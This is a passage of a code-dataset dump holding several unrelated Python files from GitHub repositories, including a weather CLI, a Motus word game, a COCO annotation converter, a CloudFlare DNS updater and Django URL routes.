range(min(n_nodes, 10)):\n i = m[p]\n print(' node={}, mean={:.5f}\\tn_samples={}\\tf={:.5f}'.format(i, mf[i], nf[i], f[i]))\n print('')\n\n\nprint('\\nFIXED BUDGET 1BANDIT SUCCESSIVE REJECT STATISTICS: budget={} n_trials={}'.format(\n args.budget, args.n_trials))\n\ngaps = np.array([r['true_max_node_value'] - r['max_node_value'] for r in results])\ncounts = np.bincount(np.array([r['max_node_rank'] for r in results]))\nrank_stats = ''\nfor i in range(counts.shape[0]):\n if counts[i] > 0:\n rank_stats += '{}->{:.1f}% '.format(i, 100. * counts[i] / args.n_trials)\n\nprint(' f* - f^ : average={:.4f}, std={:.4f}, min={:.4f}, max={:.4f}'.format(\n gaps.mean(), gaps.std(), gaps.min(), gaps.max()))\nprint(' f^ ranks: ', rank_stats)\n\nelapsed_time = time.time() - t0\nprint('\\nELAPSED TIME: {:.1f} SECONDS (per trial: {:.2f}s)'.format(elapsed_time, elapsed_time/args.n_trials))\n\nresult = {'algorithm': '1bandit_sreject_fast', 'args': args, 'run-time': elapsed_time,\n 'subopt-gaps-mean': gaps.mean(), 'subopt-gaps-std': gaps.std(), 'rank-stats': rank_stats}\n\nf = 'output/{}_budget.{}_1bandit_sreject_fast_{:%Y%m%d.%H%M}.pkl'.format(\n args.filename.replace('.pkl', ''), args.budget, datetime.now())\n\npickle.dump(result, open(f, \"wb\"))\nprint('\\nRESULT SAVED:', f)\n","repo_name":"tan1889/graph-opt","sub_path":"fixed_budget_1bandit_sreject.py","file_name":"fixed_budget_1bandit_sreject.py","file_ext":"py","file_size_in_byte":7095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27992810791","text":"from polygon import RESTClient\n\n# docs\n# https://polygon.io/docs/forex/get_v1_conversion__from___to\n# https://polygon-api-client.readthedocs.io/en/latest/Quotes.html#get-real-time-currency-conversion\n\n# client = RESTClient(\"XXXXXX\") # hardcoded api_key is used\nclient = RESTClient() # POLYGON_API_KEY environment variable is used\n\nrate = client.get_real_time_currency_conversion(\n \"AUD\",\n \"USD\",\n)\n\nprint(rate)\n","repo_name":"polygon-io/client-python","sub_path":"examples/rest/forex-real-time_currency_conversion.py","file_name":"forex-real-time_currency_conversion.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":597,"dataset":"github-code","pt":"37"} +{"seq_id":"3606010381","text":"import sys\ninput = sys.stdin.readline\n\ndef pre_order(n) :\n if n :\n print(chr(n+64),end='')\n pre_order(ch1[n])\n pre_order(ch2[n])\ndef in_order(n) :\n if n :\n in_order(ch1[n])\n print(chr(n+64),end='')\n in_order(ch2[n])\ndef post_order(n) :\n if n :\n post_order(ch1[n])\n post_order(ch2[n])\n print(chr(n+64),end='')\n\nN = int(input())\nch1=[0]*27\nch2=[0]*27\nfor i in range(N) :\n p,c1,c2 = map(ord,input().split())\n p,c1,c2 = p-64,c1-64,c2-64\n if c1 > 0:\n ch1[p] = c1\n if c2 > 0 :\n ch2[p] = c2\npre_order(1)\nprint()\nin_order(1)\nprint()\npost_order(1)","repo_name":"kiki249049/Baekjoon","sub_path":"백준/Silver/1991. 트리 순회/트리 순회.py","file_name":"트리 순회.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26315270201","text":"# Create a command-line tool that accepts a city's name and returns the current weather forecast. Leverage OpenWeatherMap API to fetch weather data and parse it using Python.\n# Usage: python app.py \n# Example: python app.py London\n# Output: Current weather in London: 10 degrees Celsius, clear sky\n\nimport sys\nimport requests\nfrom typing import Optional\n\napi_key: Optional[str] = None\n\n# Read the API key from the env file\nwith open('./.env', 'r') as f:\n api_key = [line.split('=')[1].strip() for line in f.readlines()\n if line.split('=')[0].strip() == \"api_key\"][0]\n\nif api_key is None:\n print(\"API key (api_key entry in .env) not found\")\n sys.exit(1)\n\n# base_url variable to store url\nbase_url = \"http://api.openweathermap.org/data/2.5/weather?\"\n\n# city_name variable to store the name of city\nif len(sys.argv) < 2:\n print(\"Please enter the city name as an argument\")\n sys.exit(1)\ncity_name = sys.argv[1]\n\n# complete_url variable to store\n# complete url address\ncomplete_url = base_url + \"appid=\" + api_key + \"&q=\" + city_name\n\ntry:\n # get method of requests module\n # return response object\n response = requests.get(complete_url)\n response.raise_for_status() # Raise an exception for non-successful status codes\nexcept requests.exceptions.RequestException as e:\n print(\"An error occurred while making the request:\", str(e))\n sys.exit(1)\n\n# json method of response object\n# convert json format data into\n# python format data\nx = response.json()\n\n# Now x contains list of nested dictionaries\n# Check the value of \"cod\" key is equal to\n# \"404\", means city is found otherwise,\n# city is not found\nif x.get(\"cod\") != \"404\":\n\n # store the value of \"main\"\n # key in variable y\n y = x[\"main\"]\n\n # store the value corresponding\n # to the \"temp\" key of y\n current_temperature = y[\"temp\"]\n\n # store the value corresponding\n # to the \"pressure\" key of y\n current_pressure = y[\"pressure\"]\n\n # store the value corresponding\n # to the \"humidity\" key of y\n current_humidity = y[\"humidity\"]\n\n # store the value of \"weather\"\n # key in variable z\n z = x[\"weather\"]\n\n # store the value corresponding\n # to the \"description\" key at\n # the 0th index of z\n weather_description = z[0][\"description\"]\n\n # print following values\n print(\" Temperature (in kelvin unit) = \" +\n str(current_temperature) +\n \"\\n atmospheric pressure (in hPa unit) = \" +\n str(current_pressure) +\n \"\\n humidity (in percentage) = \" +\n str(current_humidity) +\n \"\\n description = \" +\n str(weather_description))\nelse:\n print(\" City Not Found \")\n","repo_name":"delClg/copilot","sub_path":"weather_forecast/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2599,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"26813875152","text":"\"\"\"\nTransformer Seq2seq.\nPut 7x7x1280 as the encoder input, and output HTML+CSS text as the decoder output\n\nSee html_SXN_parser/parser.py's comment to see more explaination related to parsing and more implementation strategy\n\nAuthor: Samuel Koesnadi 2019\n\nAttention weights naming:\ndecoder_layer4_block2 means 4th layer (from maximum num_layers) and second block (from the two blocks that decoder has)\n\"\"\"\nimport argparse\nimport logging\nimport os\n\nimport tensorflow as tf\n\nfrom image2source.common_definitions import TRANSFORMER_CHECKPOINT_PATH, \\\n TOKENIZER_FILENAME, ADDITIONAL_FILENAME, TRANSFORMER_WEIGHT_PATH, \\\n TARGET_FILENAME, MOBILENET_WEIGHT_PATH\nfrom image2source.dataset_helper import load_image_skimage\nfrom image2source.pipeline_helper import Pipeline\n\n\ndef get_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"filename\",\n default=TARGET_FILENAME,\n help=\"path of the input image\",\n type=str\n )\n\n return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n args = get_args()\n\n master = Pipeline(\n TOKENIZER_FILENAME, ADDITIONAL_FILENAME, TRANSFORMER_CHECKPOINT_PATH) # master pipeline\n\n # load weights of the model\n master.load_weights(MOBILENET_WEIGHT_PATH, TRANSFORMER_WEIGHT_PATH)\n logging.debug(\"Weights are loaded!\")\n\n img = load_image_skimage(args.filename)\n logging.debug(\"Target image is loaded!\")\n\n logging.debug(\"Start converting!\")\n predicted_html = master.translate(img)\n\n # write the html to file\n ### MAKE PARENT DIRECTORY OF GENERATED FILES ###\n if not os.path.exists(\"generated\"):\n os.mkdir(\"generated\")\n\n with tf.io.gfile.GFile(\"generated/generated_from_predict.html\", \"w\") as f:\n f.write(predicted_html)\n logging.debug(\"HTML/CSS is generated!\")\n","repo_name":"samuelkoes/image2source-tf2","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"3517969432","text":"#--------------------------------ameliorations---------------------------------#\n#------------------------------------------------------------------------------#\n# un peu mieux ecrit\n#------------------------------------------------------------------------------#\n#------------------------------------------------------------------------------#\n\n\nliste='liste.txt'\nimport random, pygame\nfrom pygame.locals import *\npygame.mixer.init()\n\n\n#---------------------------------mot--aleatoire-------------------------------#\n\n# fonction qui creer une liste a partir d'un fichier contenant des mots\ndef laListe(nomFic):\n fic=open(nomFic,'r')\n listemots=[]\n for ligne in fic:\n listemots.append(ligne[0:len(ligne)-1]) # pour enlever le \\n\n return listemots\n\n# fonction qui genere un mot \ndef motAleatoire(nomFic):\n liste=laListe(nomFic)\n tailleListe=len(liste)\n numero=random.randrange(0,tailleListe,1)\n motadeviner=liste[numero]\n return motadeviner\n\n\n\n#----------------------------entree-de--l'utilisateur--------------------------#\n\n# fonction qui permet a un joueur d'entrer un mot\ndef entreeUser(rentrecequetuveux):\n entreeUtilisateur=input('Entrez un mot : ' )\n return entreeUtilisateur\n\n\n#-------------------------------------lettres----------------------------------#\n\n# fonction qui indique les lettres bien placees \n# le motadeviner et entree auront la meme taille\ndef lettresBienPlacees(motadeviner,entree):\n bonneplace=motadeviner[0] # la premiere lettre sera donnee\n for i in range(1,len(entree)):\n if entree[i]==motadeviner[i]:\n bonneplace=bonneplace+entree[i]\n else:\n bonneplace=bonneplace+'X'\n return bonneplace\n\nassert(lettresBienPlacees('bonjour','bondour')=='bonXour')\nassert(lettresBienPlacees('maire','meres')=='mXXXX')\n\n\n# fonction qui indique les lettres mal placees\n# le motadeviner et entree auront la meme taille\n\n# le probleme, c'est que si une lettre revient plusieurs fois, on ne pourra pas\n# indiquer precisement si 2 t sont mal places, ou si il y a un autre e si on en\n# a deja trouve un bien place\n\ndef lettresMalPlacees(motadeviner,entree):\n bonneplace=lettresBienPlacees(motadeviner,entree) \n mauvaiseplace=[]\n for i in range(len(entree)):\n if entree[i] in motadeviner and entree[i]!=motadeviner[i]:\n # si la lettre est dans motadeviner et qu'elle n'est pas bien placee\n if entree[i] not in bonneplace and entree[i] not in mauvaiseplace:\n # si la lettre n'est ni dans bonneplace, ni deja dans mauvaise place\n mauvaiseplace.append(entree[i])\n return mauvaiseplace\n \nassert(lettresMalPlacees('bonjour','nourrir')==['n','u'])\n\n\n\n# fonction qui donne les lettres bien placees d'un mot ainsi que les lettres mal\n# placees, lors d'une tentative\ndef unetentative(motadeviner,entree):\n if len(motadeviner)==len(entree):\n bonneplace=lettresBienPlacees(motadeviner,entree)\n print('Lettres bien placees : '+bonneplace)\n mauvaiseplace=lettresMalPlacees(motadeviner,entree)\n print('Lettres mal placees : '+str(mauvaiseplace)+'\\n')\n\n#----------------------------------motus---------------------------------------- \n# une partie de motus\ndef motusUnePartie(nomFic):\n pygame.mixer.stop()\n Musique()\n motadeviner=motAleatoire(nomFic)\n \n print('Nombre de lettres : '+str(len(motadeviner)))\n print('Mot a deviner : '+motadeviner[0]+'X'*(len(motadeviner)-1)+'\\n')\n\n entreeJoueur=''\n cpt=1 \n while cpt<11 and entreeJoueur!=motadeviner:\n print('Numero de la tentative : '+str(cpt))\n entreeJoueur=entreeUser(nomFic)\n unetentative(motadeviner,entreeJoueur)\n cpt+=1\n if entreeJoueur==motadeviner:\n pygame.mixer.music.stop()\n bruitage2()\n bruitage3()\n print('C\\'EST GAGNE')\n cpt=cpt-1\n if cpt==11:\n print('PERDU')\n pygame.mixer.music.stop()\n bruitage()\n print(motadeviner)\n \n\n\n# version finale pour jouer a Motus indefiniment \ndef motus(nomFic):\n reponse='O'\n while reponse=='O':\n motusUnePartie(nomFic)\n reponse=input('Voulez-vous rejouer ? (O/N) ' )\n\n\ndef Musique():\n pygame.mixer.music.load(\"motus.mp3\")\n pygame.mixer.music.play()\n\ndef bruitage():\n pygame.mixer.Sound('perdu.wav').play()\n\ndef bruitage2():\n pygame.mixer.Sound('clapclap.wav').play()\n\ndef bruitage3():\n pygame.mixer.Sound('feudart.wav').play()\n\nmotus(liste)\n\n","repo_name":"LucasFilleul/Motus1A","sub_path":"Motus-1-1.py","file_name":"Motus-1-1.py","file_ext":"py","file_size_in_byte":4575,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42140126037","text":"import sys\ninput = sys.stdin.readline\n\ndp = {}\ndp[1] = 1\ndp[2] = 2\n\nfor n in range(3, 1001):\n dp[n] = dp[n - 1] + dp[n - 2]\n\nn = int(input())\nprint(dp[n] % 10007)","repo_name":"W1nU/algorithm","sub_path":"first/11726.py","file_name":"11726.py","file_ext":"py","file_size_in_byte":165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33647048054","text":"import streamlit as st\nimport pandas as pd\nfrom streamlit.connections import ExperimentalBaseConnection\nfrom api_connection import APIConnection\nfrom api_connection import getToken\nimport json\n# Set page config\nst.set_page_config(page_title=\"TMDB Top Movies\", layout=\"wide\", page_icon=\"🎬\")\n# Set page title\nst.title(\"TMDB Top Movies\")\n# Get token\ntoken = getToken()\n# Connect to TMDB API\nconn = st.experimental_connection(\"tmdb_api\", type=APIConnection, token=getToken())\n\n# set dropdown menu to select movie type\nmovie_type = st.selectbox(\"Select movie type\", (\"Popular\", \"Top Rated\"))\nrow_button = st.columns((3,2,2,3)) \n# submit and reset button in green colour\nsubmit = row_button[1].button('Submit') \nreset = row_button[2].button('Reset')\nresult = False\n\nif submit:\n result = True\n\nif reset:\n result = False\n\nif result:\n #response = conn.get_popular_movies()\n if movie_type == \"Popular\":\n response = conn.get_popular_movies()\n elif movie_type == \"Top Rated\":\n response = conn.get_top_rated_movies()\n \n if response != None:\n response = json.loads(response)\n #movies_data = json.loads(response.text)\n movie_info = []\n if movie_type == \"Popular\":\n for movie in response['results']: \n title = movie['title']\n release_date = movie['release_date']\n vote_average = movie['vote_average']\n overview = movie['overview']\n movie_info.append([title, release_date, vote_average, overview])\n columns = [\"Title\", \"Release Date\",\"Vote Average\", \"Overview\"]\n movies_df = pd.DataFrame(movie_info, columns=columns)\n # Display movies_df\n st.subheader(\"Popular Movies\")\n st.write(movies_df)\n elif movie_type == \"Top Rated\":\n for movie in response['results']: \n title = movie['title']\n release_date = movie['release_date']\n vote_average = movie['vote_average']\n overview = movie['overview']\n movie_info.append([title, release_date, vote_average, overview])\n columns = [\"Title\", \"Release Date\",\"Vote Average\", \"Overview\"]\n movies_df = pd.DataFrame(movie_info, columns=columns)\n # Display movies_df\n st.subheader(\"Top Rated Movies\")\n st.write(movies_df)\n \n else:\n st.write(\"Error: API call failed\")","repo_name":"Cassteow/TMDB_Films_Streamlit","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74278926826","text":"import json\nimport time\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nimport common.formatter as fm\n\nBASE_URL = \"https://vnweather.net/\"\nURL_WEBSITE = \"https://vnweather.net/?fc_city=%s\"\nFILTER_DAY = ['Hôm nay', 'Chủ nhật', 'Thứ', 'Ngày mai']\nKEY_JSON_WEATHER = ['thoigian', 'dubao', 'nhietdo', 'mua', 'khiap', 'gio']\nimg_current_weather = None\n\n\n\n\n\ndef read_titles(format_table):\n titles = []\n for child in format_table.children:\n if child.name == 'strong':\n titles.append(child.string)\n if child.name == 'span':\n titles[-1] += child.string\n\n return titles\n\n\"\"\"\nBang du lieu: class_= format-table && id = fc_weather\nThoi gian: strong, span\nTable: class_= table table-striped\n\"\"\"\n\n\n\"\"\"\nDinh dang html\n\n \n 22:00-00:00\n Có mây\n 28 °C\n 0 mm\n 1005.3 hPa\n ĐĐN, 10.08 km/h\n \n\n\"\"\"\ndef read_data_from_table(data_table):\n global img_current_weather\n\n tbody = data_table.find(\"tbody\")\n\n trs = tbody.find_all(\"tr\")\n data = []\n\n for tr in trs:\n \"\"\"\n Lay url cua the img: table>tbody>tr>td\n \n \"\"\"\n\n if not img_current_weather:\n img_current_weather = tr.find(\"img\").get(\"src\")\n\n tds = tr.find_all(\"td\")\n data.append([x.get_text() for x in tds])\n\n return data\n\n\"\"\"\ntitle: \n ['Hôm nay,Thứ Tư 03/06/2020', 'Ngày mai,Thứ Năm 04/06/2020', 'Thứ Sáu, 05/06/2020']\ndatatable: \n [['17:00-18:00', ' Mưa nhỏ', '32 °C', '0.2 mm', '1001.2 hPa', ' ĐN, 10.8 km/h'], ['18:00-00:00', ' Có mưa', '31 °C', '2.3 mm', '1002.0 hPa', ' ĐN, 9.36 km/h']]\n\"\"\"\n\ndef convert_table_to_dict(title ,data_table):\n table = read_data_from_table(data_table)\n json_data = fm.convert_array_tojson(KEY_JSON_WEATHER, table)\n dict = {\n 'title': title,\n 'info': json_data\n }\n return dict\n\n\n\"\"\"\n[['17:00-18:00', ' Có mây', '34 °C', '0 mm', '998.4 hPa', ' NĐN, 12.24 km/h', '18:00-00:00', ' Nhiều mây', '33 °C', '0 mm', '998.7 hPa', ' NĐN, 8.64 km/h']]\n[['00:00-06:00', ' Nhiều mây', '29 °C', '0 mm', '1000.1 hPa', ' N, 13.32 km/h', '06:00-12:00', ' Nhiều mây', '29 °C', '0 mm', '1000.3 hPa', ' TN, 9.72 km/h', '12:00-18:00', ' Nhiều mây', '36 °C', '0 mm', '1000.3 hPa', ' TTN, 12.96 km/h', '18:00-00:00', ' Nhiều mây', '34 °C', '0 mm', '997.5 hPa', ' ĐĐN, 8.64 km/h']]\n[['00:00-06:00', ' Nhiều mây', '31 °C', '0 mm', '999.5 hPa', ' NTN, 7.56 km/h', '06:00-12:00', ' Nhiều mây', '28 °C', '0 mm', '1001.7 hPa', ' B, 11.16 km/h', '12:00-18:00', ' Nhiều mây', '30 °C', '0 mm', '1003.5 hPa', ' ĐB, 10.8 km/h', '18:00-00:00', ' Mưa to', '31 °C', '6.6 mm', '1002.3 hPa', ' ĐĐB, 6.48 km/h']]\n\"\"\"\n\ndef read_html_from_website(city='HANOI', index=-1):\n global img_current_weather\n\n img_current_weather = None\n\n cur = time.time()\n req = requests.get(URL_WEBSITE % city)\n \"\"\"\n 1.Lay html\n 2.Lay title va table body chua bang thoi tiet\n 3.Loc du lieu cua 3 bang thoi tiet tu 3 bang tren\n 4.Ghep cap tra ve dang json\n \"\"\"\n html = BeautifulSoup(req.content, 'html.parser')\n print(f\"End read html: %.5f\"%(time.time()-cur))\n\n # tim phan vung chua id fc_weather\n format_table = html.find(id=\"fc_weather\")\n\n #doc tieu de\n titles = read_titles(format_table)\n\n title_place = format_table.find_next('h3').string\n\n\n #doc du lieu tu cac bang\n data_tables = format_table.find_all(class_=\"table table-striped\")\n\n json_arr = []\n\n if index != -1 and index < len(titles):\n dict = convert_table_to_dict(titles[index], data_tables[index])\n json_arr.append(dict)\n\n else:\n for x in range(len(titles)):\n dict = convert_table_to_dict(titles[x], data_tables[x])\n json_arr.append(dict)\n\n return json.dumps({'title-place': title_place ,\"img-current-weather\": BASE_URL + img_current_weather , 'tables': json_arr})\n\n\nprint(read_html_from_website())","repo_name":"donlyconan/nonblockingserver-py","sub_path":"server/tcp_server/weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":4419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23711584166","text":"#!/usr/bin/python -tt\n# coding: utf-8\n\nimport pdftotext\nimport time\nimport os\n\nclass Extract:\n \n def __init__(self):\n \n self.extract_pdf()\n\n def extract_pdf(self):\n \n pdf_file= (\"/home/bortolossohurst/Documents/ambv_boot/selenium_spider.py/temp/pdf/arelpesquisainternetprecatorio (1).pdf\")\n \n for pdfs in range(1, len(pdf_file) + 1):\n if pdfs < 5:\n all_pdfs = (\"/home/bortolossohurst/Documents/ambv_boot/selenium_spider.py/temp/pdf/arelpesquisainternetprecatorio (%s).pdf\" % (int(pdfs)))\n try:\n with open(all_pdfs, \"rb\") as f:\n pdf = pdftotext.PDF(f)\n for page in pdf:\n string_line_tree = page.split('\\n')[3] #Credor Principal\n string_line_four = page.split('\\n')[4] #Número e Ano do EP\n string_line_six = page.split('\\n')[6] #Número do Processo Originário\n string_line_seven = page.split('\\n')[7] #Ordem Cronológica/Ano\n print(string_line_tree)\n print(string_line_four)\n print(string_line_six)\n print(string_line_seven)\n print() \n except Exception as error:\n print(error)\n \n for delete_pdfs in range(1, len(pdf_file) + 1):\n time.sleep(1)\n all_pdfs = (\"/home/bortolossohurst/Documents/ambv_boot/selenium_spider.py/temp/pdf/arelpesquisainternetprecatorio (%s).pdf\" % (int(delete_pdfs)))\n os.remove(all_pdfs)\ntry:#FUNC_14\n Extract()\nexcept Exception as error:\n print(error, \"FUNC_14\")\n","repo_name":"Bortolosso/extract-data-tjsp","sub_path":"selenium_spider.py/test/pdftotext.py","file_name":"pdftotext.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"25918250344","text":"# %load shapes_to_coco.py\n#!/usr/bin/env python3\n\nimport datetime\nimport json\nimport os\nimport re\nimport fnmatch\nfrom PIL import Image\nimport numpy as np\nfrom pycococreatortools import pycococreatortools\n\n\nROOT_DIR = 'D:/pycococreator-master/examples_1/bones/train2'\nIMAGE_DIR = os.path.join(ROOT_DIR, \"bone_train_2019\")\nANNOTATION_DIR = os.path.join(ROOT_DIR, \"annotations_2019\")\nINFO = {\n \"description\": \"knee Dataset\",\n \"url\": \"https://github.com/waspinator/pycococreator\",\n \"version\": \"0.1.0\",\n \"year\": 2019,\n \"contributor\": \"waspinator\",\n \"date_created\": datetime.datetime.utcnow().isoformat(' ')\n}\n\nLICENSES = [\n {\n \"id\": 1,\n \"name\": \"Attribution-NonCommercial-ShareAlike License\",\n \"url\": \"http://creativecommons.org/licenses/by-nc-sa/2.0/\"\n }\n]\n\nCATEGORIES = [\n {\n 'id': 1,\n 'name': 'Femur',\n 'supercategory': 'bone',\n },\n {\n 'id': 2,\n 'name': 'Tibia',\n 'supercategory': 'bone',\n },\n {\n 'id': 3,\n 'name': 'Patella',\n 'supercategory': 'bone',\n },\n]\n\ndef filter_for_jpeg(root, files):\n file_types = ['*.jpeg', '*.jpg']\n file_types = r'|'.join([fnmatch.translate(x) for x in file_types])\n files = [os.path.join(root, f) for f in files]\n files = [f for f in files if re.match(file_types, f)]\n \n return files\n\ndef filter_for_annotations(root, files, image_filename):\n file_types = ['*.png']\n# print(f'..................>:{file_types}')\n file_types = r'|'.join([fnmatch.translate(x) for x in file_types])\n# print(f'...............>:{file_types}')\n basename_no_extension = os.path.splitext(os.path.basename(image_filename))[0]\n# print(f'basename_no_extension: {basename_no_extension}')\n file_name_prefix = basename_no_extension #+ '.*'\n# print(f'file_name_prefix: {file_name_prefix[0:]}')\n files = [os.path.join(root, f) for f in files]\n# print(f'files :{files}')\n files = [f for f in files if re.match(file_types, f)]\n# print(f'file re match:{files}')\n files = [f for f in files if file_name_prefix in f]\n# print(f'\\nall annotation files:{files}')\n return files\n\ndef main():\n\n coco_output = {\n \"info\": INFO,\n \"licenses\": LICENSES,\n \"categories\": CATEGORIES,\n \"images\": [],\n \"annotations\": []\n }\n\n image_id = 1\n segmentation_id = 1\n \n # filter for jpeg images\n for root, _, files in os.walk(IMAGE_DIR):\n image_files = filter_for_jpeg(root, files)\n\n # go through each image\n for image_filename in image_files:\n image = Image.open(image_filename)\n print('\\n')\n print(f'\\nimage file: {image_filename}')\n\n\n image_info = pycococreatortools.create_image_info(\n image_id, os.path.basename(image_filename), image.size)\n coco_output[\"images\"].append(image_info)\n\n # filter for associated png annotations\n for root, _, files in os.walk(ANNOTATION_DIR):\n# print(root)\n annotation_files = filter_for_annotations(root, files, image_filename)\n# print(annotation_files)\n # go through each associated annotation\n for annotation_filename in annotation_files:\n \n print(f'annotation_files: {annotation_filename}')\n class_id = [x['id'] for x in CATEGORIES if x['name'] in annotation_filename][0]\n print(f'class_id: {class_id}')\n category_info = {'id': class_id, 'is_crowd': 'crowd' in image_filename}\n binary_mask = np.asarray(Image.open(annotation_filename)\n .convert('1')).astype(np.uint8)\n \n annotation_info = pycococreatortools.create_annotation_info(\n segmentation_id, image_id, category_info, binary_mask,\n image.size, tolerance=2)\n\n if annotation_info is not None:\n coco_output[\"annotations\"].append(annotation_info)\n print(f'segmentation_id: {segmentation_id}')\n segmentation_id = segmentation_id + 1\n \n print(f'image_id: {image_id}')\n image_id = image_id + 1\n\n with open('{}/bone_data.json'.format(ROOT_DIR), 'w') as output_json_file:\n json.dump(coco_output, output_json_file)\n\n\nif __name__ == \"__main__\":\n main()\npath_1 = str(ROOT_DIR)+'/bone_data.json'\n#path = 'D:/coco/examples/shapes/instances_shape_train2018.json'\nwith open(path_1) as f:\n data_1 = json.load(f)","repo_name":"RAHULPRRAHUL/pycoco_toolkit_installation","sub_path":"bones_dataset/bone_to_coco.py","file_name":"bone_to_coco.py","file_ext":"py","file_size_in_byte":4647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6750348690","text":"from traitlets import TraitType\nfrom traitlets.config.loader import (PyFileConfigLoader, ConfigFileNotFound,\n Config)\n\nCONFIG_FILE_NAME = 'bluesky_browser_config.py'\nCONFIG_SEARCH_PATH = ('.')\n\n\ndef load_config():\n loader = PyFileConfigLoader(CONFIG_FILE_NAME, CONFIG_SEARCH_PATH)\n try:\n config = loader.load_config()\n except ConfigFileNotFound:\n config = Config()\n return config\n\n\nclass Callable(TraitType):\n \"\"\"A trait which is callable.\n Notes\n -----\n Classes are callable, as are instances\n with a __call__() method.\"\"\"\n\n info_text = 'a callable'\n\n def validate(self, obj, value):\n if callable(value):\n return value\n else:\n self.error(obj, value)\n","repo_name":"bluesky/bluesky-browser","sub_path":"bluesky_browser/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"24651588689","text":"\"\"\"\nUsage: dnsupdate --ntfyfrom --ntfyto \n dnsupdate (-h | --help)\n\nOptions:\n --ntfyfrom Email address to notify from\n --ntfyto Email address to send notification to\n -h --help Show this help\n\n\"\"\"\n\nimport ipgetter, logging, yaml, smtplib, os, sys\nfrom docopt import docopt\nfrom lib.email import GMail\nfrom lib.conf import Configuration\nfrom lib.cloud import CloudFlare\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.INFO)\n arguments = docopt(__doc__, version='CloudFlare Manager 1.0')\n config = Configuration(__file__, 'config.yaml')\n config.addArguments(arguments)\n gmail = GMail(config.email_login, config.email_pass)\n cf = CloudFlare(config.cf_apiemail, config.cf_apikey)\n myip = ipgetter.myip()\n if cf.getCurrentIp(config.cf_host, config.cf_domain) == myip:\n logging.info('IP has not changed. Nothing to be done.')\n else:\n try:\n cf.updateDnsRecord(config.cf_domain, config.cf_host, ipgetter.myip())\n if hasattr(config, 'ntfy'):\n email_content = \"Greetings!\\n\\n\"\n email_content += \" The IP for DNS Zone \" + config.cf_host + '.' + config.cf_domain\n email_content += \" has been updated to \" + myip + \".\\n\\n\"\n email_content += \"Have a great day!\"\n from time import gmtime, strftime\n gmail.sendEmail(config.ntfy,'IP Address has changed on ' + strftime(\"%Y-%m-%d %H:%M:%S\", gmtime()), email_content)\n except:\n raise\n","repo_name":"GonzaloAlvarez/devops-tools","sub_path":"dnsupdate.py","file_name":"dnsupdate.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"26762673786","text":"from django.conf.urls import include, url\nfrom base import views\nfrom signup import settings\nfrom . import admin as custom_admin\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nfrom django.contrib.auth.models import User, Group\nadmin.autodiscover()\nadmin.site.unregister(Group)\nadmin.site.unregister(User)\nadmin.site.register(User, custom_admin.CustomUserAdmin)\n\nhandler403 = 'signup.errors.error403'\nhandler404 = 'signup.errors.error404'\nhandler500 = 'signup.errors.error500'\n\nurlpatterns = (\n # Examples:\n # url(r'^$', 'signup.views.home', name='home'),\n # url(r'^signup/', include('signup.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n url(r'^django-admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n url(r'^django-admin/', include(admin.site.urls)),\n\n url(r'^admin/$', views.AdminDashboard.as_view(), name='admin-dash'),\n url(r'^admin/email/$', views.AdminSendEmailView.as_view(), name='admin-email'),\n url(r'^admin/reset/$', views.AdminCompetitionResetView.as_view(), name='admin-reset'),\n url(r'^admin/approvals/$', views.RedGreenApprovals.as_view(), name='admin-approvals'),\n url(r'^admin/approvals/(?P\\d+)/approve', views.RedGreenApprove.as_view(), name='admin-approve'),\n url(r'^admin/approvals/(?P\\d+)/unapprove', views.RedGreenUnapprove.as_view(), name='admin-unapprove'),\n\n url(r'^$', views.IndexView.as_view(), name='site-index'),\n url(r'^login/$', views.LoginView.as_view(), name='site-login'),\n url(r'^logout/$', views.LogoutView.as_view(), name='site-logout'),\n\n url(r'^signup/$', views.SignupView.as_view(), name='signup'),\n url(r'^signup/red/$', views.RedLanding.as_view(), name=\"red_signup\"),\n url(r'^signup/red/real/$', views.RedSignup.as_view(), name='red_signup_real'),\n url(r'^signup/green/$', views.GreenSignup.as_view(), name=\"green_signup\"),\n url(r'^forgot/$', views.ForgotPasswordView.as_view(), name='forgot-password'),\n\n url(r'^dashboard/$', views.DashboardView.as_view(), name='dashboard'),\n\n url(r'^dashboard/check_in/$', views.CheckInView.as_view(), name='check-in'),\n url(r'^dashboard/join_team/$', views.TeamListView.as_view(), name='team-list'),\n url(r'^dashboard/join_team/(?P[0-9-_:]+)/$', views.JoinTeamView.as_view(), name='join-team'),\n url(r'^dashboard/leave_team/$', 